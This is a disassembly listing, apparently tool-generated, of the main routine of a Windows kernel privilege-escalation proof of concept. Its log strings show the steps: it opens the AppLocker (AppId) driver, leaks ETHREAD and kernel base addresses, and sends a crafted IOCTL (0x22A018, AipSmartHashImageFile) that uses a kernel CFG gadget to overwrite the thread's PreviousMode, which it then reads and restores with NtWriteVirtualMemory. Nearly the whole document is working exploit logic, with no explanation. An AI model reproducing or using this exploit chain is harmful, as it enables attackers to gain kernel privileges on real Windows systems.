Function at 0x1400111ef
Capabilities:
Load ntoskrnl

Disassembly:
jmp 0x14001feb0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1098
call fcn.1400111c7
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x2ee
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10b8]
mov rax, qword [0x140039018]
xor rax, rbp
mov qword [rbp + 0x1020], rax
lea rcx, [0x140041173]
call fcn.140011956
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x11c
rep stosb byte [rdi], al
mov qword [rbp + 0x148], 0
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x1050]
call fcn.140011776
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x14001ff9c
lea rdx, str.Failed_to_allocate_the_correct_buffer_to_send_on_the_IOCTL_request.
lea rcx, [rbp + 0x8b8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x8f8]
call fcn.1400113d4
lea r9, [rbp + 0x8b8]
lea r8, [rbp + 0x8f8]
mov edx, 0xc
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0x8b8]
call fcn.1400111d1
xor al, al
jmp 0x140020962
lea rax, [rbp + 0x188]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rbp + 0x1d8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rdx, str.DeviceAppID
lea rcx, [rbp + 0x1d8]
call fcn.140011910
mov dword [rbp + 0x188], 0x30
mov qword [rbp + 0x190], 0
mov dword [rbp + 0x1a0], 0x40
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
lea rax, [rbp + 0x208]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rbp + 0x238], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x208]
lea r8, [rbp + 0x188]
mov edx, 0xc0000000
lea rcx, [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jge 0x14002010f
lea rdx, str.Failed_to_open_a_handle_to_the_AppLocker_driver___ls___code:_0x_X_
lea rcx, [rbp + 0x928]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x968]
call fcn.1400113d4
mov eax, dword [rbp + 0x254]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x928]
lea r8, [rbp + 0x968]
mov edx, 9
lea rcx, [0x140039450]
call fcn.140011898
nop
lea rcx, [rbp + 0x928]
call fcn.1400111d1
xor al, al
jmp 0x140020962
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x1018], rax
lea rdx, str.AppLocker__AppId__handle_opened:_0x_p
lea rcx, [rbp + 0x998]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0x9d8]
call fcn.1400113d4
mov rax, qword [rbp + 0x1018]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x998]
lea r8, [rbp + 0x9d8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400115e1
nop
lea rcx, [rbp + 0x998]
call fcn.1400111d1
lea rdx, str.Leaking_the_current_ETHREAD_address.
lea rcx, [rbp + 0xa08]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xa48]
call fcn.1400113d4
lea r9, [rbp + 0xa08]
lea r8, [rbp + 0xa48]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0xa08]
call fcn.1400111d1
mov rcx, qword [rbp + 0x1050]
call fcn.140011663
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x1050]
call fcn.1400116ea
mov qword [rbp + 0x298], rax
lea rdx, str.ntoskrnl.exe
mov rcx, qword [rbp + 0x1050]
call fcn.1400111cc
mov qword [rbp + 0x2b8], rax
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x278], 0
jne 0x1400202aa
cmp qword [rbp + 0x2b8], 0
jne 0x1400202aa
cmp qword [rbp + 0x2d8], 0
jne 0x1400202aa
cmp qword [rbp + 0x298], 0
jne 0x1400202aa
lea rdx, str.Failed_to_fetch_the_ETHREAD_FileObject_KernelBase_addresses.
lea rcx, [rbp + 0xa78]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xab8]
call fcn.1400113d4
lea r9, [rbp + 0xa78]
lea r8, [rbp + 0xab8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0xa78]
call fcn.1400111d1
xor al, al
jmp 0x140020962
lea rdx, str.ETHREAD_address_leaked:_0x_p
lea rcx, [rbp + 0xae8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xb28]
call fcn.1400113d4
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xae8]
lea r8, [rbp + 0xb28]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118ac
nop
lea rcx, [rbp + 0xae8]
call fcn.1400111d1
lea rdx, str.Feching_the_ExpProfileDelete__user_cfg_gadget__address.
lea rcx, [rbp + 0xb58]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xb98]
call fcn.1400113d4
lea r9, [rbp + 0xb58]
lea r8, [rbp + 0xb98]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0xb58]
call fcn.1400111d1
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x1050]
call fcn.140011348
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x278]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x338], rax
lea rdx, str.Current_ETHREAD_PreviousMode_address____0x_p
lea rcx, [rbp + 0xbc8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xc08]
call fcn.1400113d4
mov rax, qword [rbp + 0x338]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xbc8]
lea r8, [rbp + 0xc08]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118ac
nop
lea rcx, [rbp + 0xbc8]
call fcn.1400111d1
lea rdx, str.File_object_address____0x_p
lea rcx, [rbp + 0xc38]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xc78]
call fcn.1400113d4
mov rax, qword [rbp + 0x298]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc38]
lea r8, [rbp + 0xc78]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118ac
nop
lea rcx, [rbp + 0xc38]
call fcn.1400111d1
lea rdx, str.kCFG_Kernel_Base_address____0x_p
lea rcx, [rbp + 0xca8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xce8]
call fcn.1400113d4
mov rax, qword [rbp + 0x2b8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xca8]
lea r8, [rbp + 0xce8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118ac
nop
lea rcx, [rbp + 0xca8]
call fcn.1400111d1
lea rdx, str.kCFG_User_Base_address____0x_p
lea rcx, [rbp + 0xd18]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xd58]
call fcn.1400113d4
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd18]
lea r8, [rbp + 0xd58]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400117a3
nop
lea rcx, [rbp + 0xd18]
call fcn.1400111d1
lea rdx, str.kCFG_Gadget_address____0x_p
lea rcx, [rbp + 0xd88]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xdc8]
call fcn.1400113d4
mov rax, qword [rbp + 0x318]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd88]
lea r8, [rbp + 0xdc8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118ac
nop
lea rcx, [rbp + 0xd88]
call fcn.1400111d1
mov qword [rbp + 0x358], 0
lea rax, [rbp + 0x378]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
cmp dword [rbp + 0x1c], 0x55f0
jae 0x14002061e
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x338]
add rax, 0x30
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3b8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x298]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x398]
lea rcx, [rbp + 0x378]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x358], 0x18
jmp 0x14002069b
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x338]
add rax, 0x30
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x298]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x3d8]
lea rcx, [rbp + 0x378]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3d8]
mov qword [rax + 0x18], 0
mov qword [rbp + 0x358], 0x20
lea rdx, str.Sending_IOCTL_request_to_0x22A018__AipSmartHashImageFile_
lea rcx, [rbp + 0xdf8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xe38]
call fcn.1400113d4
lea r9, [rbp + 0xdf8]
lea r8, [rbp + 0xe38]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0xdf8]
call fcn.1400111d1
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x168], 0
je 0x140020842
lea rdx, str.ioctl_buffer____0x_p_size:__d
lea rcx, [rbp + 0xe68]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xea8]
call fcn.1400113d4
mov rax, qword [rbp + 0x358]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x168]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe68]
lea r8, [rbp + 0xea8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118a7
nop
lea rcx, [rbp + 0xe68]
call fcn.1400111d1
mov r9, qword [rbp + 0x358]
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x1050]
call fcn.1400112f8
movzx eax, al
test eax, eax
jne 0x1400207a8
xor al, al
jmp 0x140020962
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rbp + 0x338]
mov rdx, qword [rbp + 0x418]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov rax, qword [rbp + 0x418]
movzx eax, byte [rax]
mov byte [rbp + 0x1014], al
lea rdx, str.Current_PreviousMode_____d
lea rcx, [rbp + 0xed8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xf18]
call fcn.1400113d4
movzx eax, byte [rbp + 0x1014]
mov byte [rsp + 0x20], al
lea r9, [rbp + 0xed8]
lea r8, [rbp + 0xf18]
mov edx, 9
lea rcx, [0x140039450]
call fcn.14001119a
nop
lea rcx, [rbp + 0xed8]
call fcn.1400111d1
lea rdx, str.Restoring...
lea rcx, [rbp + 0xf48]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xf88]
call fcn.1400113d4
lea r9, [rbp + 0xf48]
lea r8, [rbp + 0xf88]
mov edx, 9
lea rcx, [0x140039450]
call fcn.1400118cf
nop
lea rcx, [rbp + 0xf48]
call fcn.1400111d1
mov rax, qword [rbp + 0x418]
mov byte [rax], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rbp + 0x418]
mov rdx, qword [rbp + 0x338]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov rax, qword [rbp + 0x418]
movzx eax, byte [rax]
mov byte [rbp + 0x1014], al
lea rdx, str.Current_PreviousMode_____d
lea rcx, [rbp + 0xfb8]
call fcn.14001143d
nop
lea rdx, str.c_poc::act
lea rcx, [rbp + 0xff8]
call fcn.1400113d4
movzx eax, byte [rbp + 0x1014]
mov byte [rsp + 0x20], al
lea r9, [rbp + 0xfb8]
lea r8, [rbp + 0xff8]
mov edx, 9
lea rcx, [0x140039450]
call fcn.14001119a
nop
lea rcx, [rbp + 0xfb8]
call fcn.1400111d1
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ntdll.dll_NtClose]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140032210]
call fcn.1400117cb
mov rax, rdi
mov rcx, qword [rbp + 0x1020]
xor rcx, rbp
call fcn.1400114b0
lea rsp, [rbp + 0x1038]
pop rdi
pop rbp
ret